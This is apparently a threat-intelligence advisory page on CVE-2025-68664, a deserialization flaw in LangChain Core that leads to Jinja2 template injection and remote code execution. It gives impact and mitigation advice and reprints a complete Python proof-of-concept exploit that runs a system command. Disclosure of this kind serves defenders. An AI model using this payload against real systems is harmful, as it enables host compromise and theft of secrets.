LangChain Core 1.2.4 - SSTI/RCE
A critical vulnerability (CVE-2025-68664) affects LangChain Core versions prior to 0. 3. 81 and 1. 2. 5, involving unsafe deserialization in the langchain_core. load function. This flaw allows an attacker to instantiate a malicious PromptTemplate using Jinja2 template format, leading to Server-Side Template Injection (SSTI) and arbitrary command execution (RCE). Exploit code is publicly available in Python, demonstrating how an attacker can execute system commands remotely. No official patch or vendor advisory is provided in the data. The vulnerability is critical due to the potential for remote code execution on affected systems.
AI Analysis
Technical Summary
The vulnerability in LangChain Core (CVE-2025-68664) arises from unsafe deserialization in the langchain_core.load function. An attacker can craft a malicious serialized payload that, when deserialized, instantiates a PromptTemplate object with a Jinja2 template containing code that executes arbitrary system commands. This leads to Server-Side Template Injection and remote code execution. The exploit targets versions prior to 0.3.81 and 1.2.5 and has been tested on Python 3.10 to 3.12. The exploit code is written in Python and publicly available on Exploit-DB.
Potential Impact
Successful exploitation allows remote attackers to execute arbitrary system commands on the host running vulnerable LangChain Core versions. This can lead to full system compromise, data theft, or further network penetration. The vulnerability leverages unsafe deserialization combined with SSTI to achieve remote code execution.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid deserializing untrusted data with langchain_core.load and restrict usage of PromptTemplate with untrusted input. Monitor vendor channels for updates and apply patches promptly once released.
Indicators of Compromise
- exploit-code: # Exploit Title: LangChain Core - SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Contact: @banyamer_security (Instagram) # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.langchain.com/ # Software Link: https://pypi.org/project/langchain-core/ # Version: < 0.3.81 and < 1.2.5 # Tested on: Python 3.10 - 3.12 # CVE : CVE-2025-68664 # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate # with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution. import os from langchain_core.load import dumps, load from langchain_core.prompts import PromptTemplate # Set a dummy env var (demonstrates potential secret access if needed) os.environ["TEST_SECRET"] = "secret_value_123" # Malicious constructor payload targeting PromptTemplate with SSTI payload = { "exploit": { "lc": 1, "type": "constructor", "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"], "kwargs": { "input_variables": [], "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}", "template_format": "jinja2" } } } # Serialize (dumps does not escape 'lc' key) serialized = dumps(payload) # Deserialize - instantiates the malicious PromptTemplate deserialized = load(serialized, secrets_from_env=True) # Extract and invoke the malicious prompt → triggers SSTI → RCE malicious = deserialized["exploit"] output = malicious.format() print("[*] Command execution output:") print(output)
LangChain Core 1.2.4 - SSTI/RCE
Description
A critical vulnerability (CVE-2025-68664) affects LangChain Core versions prior to 0. 3. 81 and 1. 2. 5, involving unsafe deserialization in the langchain_core. load function. This flaw allows an attacker to instantiate a malicious PromptTemplate using Jinja2 template format, leading to Server-Side Template Injection (SSTI) and arbitrary command execution (RCE). Exploit code is publicly available in Python, demonstrating how an attacker can execute system commands remotely. No official patch or vendor advisory is provided in the data. The vulnerability is critical due to the potential for remote code execution on affected systems.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in LangChain Core (CVE-2025-68664) arises from unsafe deserialization in the langchain_core.load function. An attacker can craft a malicious serialized payload that, when deserialized, instantiates a PromptTemplate object with a Jinja2 template containing code that executes arbitrary system commands. This leads to Server-Side Template Injection and remote code execution. The exploit targets versions prior to 0.3.81 and 1.2.5 and has been tested on Python 3.10 to 3.12. The exploit code is written in Python and publicly available on Exploit-DB.
Potential Impact
Successful exploitation allows remote attackers to execute arbitrary system commands on the host running vulnerable LangChain Core versions. This can lead to full system compromise, data theft, or further network penetration. The vulnerability leverages unsafe deserialization combined with SSTI to achieve remote code execution.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid deserializing untrusted data with langchain_core.load and restrict usage of PromptTemplate with untrusted input. Monitor vendor channels for updates and apply patches promptly once released.
Technical Details
- Edb Id
- 52514
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for LangChain Core 1.2.4 - SSTI/RCE
# Exploit Title: LangChain Core - SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Contact: @banyamer_security (Instagram) # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.langchain.com/ # Software Link: https://pypi.org/project/langchain-core/ # Version: < 0.3.81 and < 1.2.5 # Tested on: Python 3.10 - 3.12 # CVE : CVE-2025-68664 # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious... (1197 more characters)
Threat ID: 69f1f0fdcbff5d8610047e7b
Added to database: 4/29/2026, 11:52:29 AM
Last enriched: 4/29/2026, 11:54:03 AM
Last updated: 4/30/2026, 3:51:03 AM
Views: 10
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.